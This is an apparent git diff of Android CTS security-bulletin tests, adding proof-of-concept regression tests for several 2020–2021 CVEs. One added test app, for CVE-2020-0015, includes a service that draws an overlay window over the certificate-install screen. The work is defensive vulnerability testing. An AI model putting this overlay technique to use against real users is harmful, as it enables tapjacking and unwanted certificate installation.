mode 100644 index 00000000000..ecb6bdd3cd4 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 184046278) + @Test + public void testPocCVE_2021_0953() throws Exception { + final String TEST_PKG = "android.security.cts.CVE_2021_0953"; + final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + final String TEST_APP = "CVE-2021-0953.apk"; + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java index a242904c0c2..65934f2741f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java @@ -16,18 +16,20 @@ package android.security.cts; -import static org.junit.Assert.assertFalse; + import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0965 extends BaseHostJUnit4Test { +public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0965"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0965.apk"; @@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test { @Test public void testPocCVE_2021_0965() throws Exception { installPackage(TEST_APP, new String[0]); - runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"); - String errorLog = "Vulnerable to b/194300867 !!"; - String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice()); - Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE); - assertFalse(pattern.matcher(logcat).find()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java new file mode 100644 index 00000000000..6cac004b175 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +import java.util.Arrays; +import java.util.regex.Pattern; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39664 extends SecurityTestCase { + + /** + * b/203938029 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libandroidfw (As per AOSP code) + * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 203938029) + @Test + public void testPocCVE_2021_39664() throws Exception { + String inputFiles[] = {"cve_2021_39664"}; + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39664"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw", + "android::LoadedPackage::Load")); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java new file mode 100644 index 00000000000..519bd242f6a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39665 extends SecurityTestCase { + + /** + * b/204077881 + * Vulnerability Behavior: SIGSEGV in self + * Vulnerable Library: libmediaplayerservice (As per AOSP code) + * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 204077881) + @Test + public void testPocCVE_2021_39665() throws Exception { + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39665"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice", + "android::AAVCAssembler::checkSpsUpdated")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java index 4df0f6ffde8..8f12b522fad 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -17,20 +17,26 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0684 extends SecurityTestCase { +public class CVE_2021_39675 extends SecurityTestCase { /** - * b/179839665 - * Vulnerability Behaviour: SIGSEGV in Self + * b/205729183 + * Vulnerability Behavior: EXIT_VULNERABLE (113) */ - @AsbSecurityTest(cveBugId = 179839665) + @AsbSecurityTest(cveBugId = 205729183) @Test - public void testPocCVE_2021_0684() throws Exception { - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice()); + public void testPocCVE_2021_39675() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(), + AdbUtils.TIMEOUT_SEC); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java new file mode 100644 index 00000000000..444f1a55a60 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 209611539) + @Test + public void testPocCVE_2021_39692() throws Exception { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2021_39692"; + uninstallPackage(device, testPkg); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39692.apk"); + AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", + device); + assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java new file mode 100644 index 00000000000..acc6a2ed00f --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.File; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase { + + /** + * b/201645790 + * This test is related to + * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java" + */ + @AsbSecurityTest(cveBugId = 201645790) + @Test + public void testPocCVE_2021_39700() throws Exception { + ITestDevice device = getDevice(); + assumeTrue("Failed to unroot the device", device.disableAdbRoot()); + String procUdp6File = "/proc/net/udp6"; + File tempFile = File.createTempFile("CVE_2021_39700", "temp"); + assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile)); + tempFile.deleteOnExit(); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java new file mode 100644 index 00000000000..d92af4d40f2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39702 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.CVE_2021_39702"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-39702.apk"; + + @AppModeFull + @AsbSecurityTest(cveBugId = 205150380) + @Test + public void testPocCVE_2021_39702() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + device); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java index 0353c3d6de6..d7a3afc7a6d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java @@ -19,6 +19,7 @@ package android.security.cts; import com.android.compatibility.common.util.MetricsReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.build.IBuildInfo; import com.android.tradefed.config.Option; import com.android.tradefed.testtype.IBuildReceiver; @@ -49,7 +50,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import static org.hamcrest.core.Is.is; -public class SecurityTestCase extends BaseHostJUnit4Test { +public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase { private static final String LOG_TAG = "SecurityTestCase"; private static final int RADIX_HEX = 16; @@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { // account for the poc timer of 5 minutes (+15 seconds for safety) protected static final int TIMEOUT_NONDETERMINISTIC = 315; - private long kernelStartTime; + private long kernelStartTime = -1; private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this); @@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test { getDevice().waitForDeviceAvailable(30 * 1000); } - long deviceTime = getDeviceUptime() + kernelStartTime; - long hostTime = System.currentTimeMillis() / 1000; - assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + if (kernelStartTime != -1) { + // only fail when the kernel start time is valid + long deviceTime = getDeviceUptime() + kernelStartTime; + long hostTime = System.currentTimeMillis() / 1000; + assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + kernelStartTime = -1; + } // TODO(badash@): add ability to catch runtime restart } @@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", - "/dev/st54j*" }; + "/dev/st54j*", "/dev/st21nfc*" }; boolean isDriverFound = false; for(String supportedDriver : supportedDrivers) { if(containsDriver(device, supportedDriver, false)) { diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java index b2dc9b816ac..e44a04ae2b0 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeNotNull; /** Basic sample for unbundled UiAutomator. */ @RunWith(AndroidJUnit4.class) @@ -111,7 +112,7 @@ public class DeviceTest { mContext.startActivity(intent); UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE)); - assertNotNull("Activity under-test was not launched or found!", view); + assumeNotNull("Activity under-test was not launched or found!", view); Log.d(LOG_TAG, "Started Activity under-test."); } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp new file mode 100644 index 00000000000..4efed42a7d6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2020-0015", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml new file mode 100644 index 00000000000..7685c352eba --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml @@ -0,0 +1,36 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2020_0015" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2020_0015" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2020_0015" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert Binary files differnew file mode 100644 index 00000000000..f0a07797f08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml new file mode 100644 index 00000000000..93f9df8faae --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<resources> + <string name="activityNotStartedException">Unable to start the %1$s</string> + <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="certName">Sample Certificate</string> + <string name="dumpsysActivityCmd">dumpsys activity %1$s</string> + <string name="dumpsysActivityException">Could not execute dumpsys activity command</string> + <string name="intentExtraKeyCert">CERT</string> + <string name="intentExtraKeyName">name</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with + SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="rawResOpenError">Could not open the raw resource %1$s</string> + <string name="streamReadError">Could not read from the raw resource cacert</string> + <string name="streamReadWriteException">Error while trying to read from InputStream object + and writing to a ByteArrayOutputStream object</string> + <string name="testPkg">android.security.cts.CVE_2020_0015</string> + <string name="vulActivityNotRunningError">The %1$s is not currently running on the device + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java new file mode 100644 index 00000000000..f42eb7544ad --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java @@ -0,0 +1,141 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2020_0015; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.provider.Settings; +import android.security.KeyChain; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + String testVulnerablePackage = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "overlay service"), e); + } + } + + private void startVulnerableActivity() { + Context context = getApplicationContext(); + assertNotNull(context); + + InputStream inStream = context.getResources().openRawResource(R.raw.cacert); + assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null); + ByteArrayOutputStream outStream = new ByteArrayOutputStream(); + byte[] data = new byte[1024]; + try { + int nRead = inStream.read(data, 0, data.length); + assumeTrue(context.getString(R.string.streamReadError), nRead > 0); + outStream.write(data, 0, nRead); + } catch (Exception e) { + assumeNoException(context.getString(R.string.streamReadWriteException), e); + } + + Intent intent = KeyChain.createInstallIntent(); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getString(R.string.intentExtraKeyName), + context.getString(R.string.certName)); + intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray()); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null); + testVulnerablePackage = ri.activityInfo.packageName; + + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e); + } + } + + @Test + public void testOverlayButtonPresence() { + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Context context = getApplicationContext(); + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + final int launchTimeoutMs = 20000; + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + launchTimeoutMs)) { + overlayDisallowed = true; + } + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage)); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage), + overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java new file mode 100644 index 00000000000..d8563d45db9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2020_0015; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + private Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = 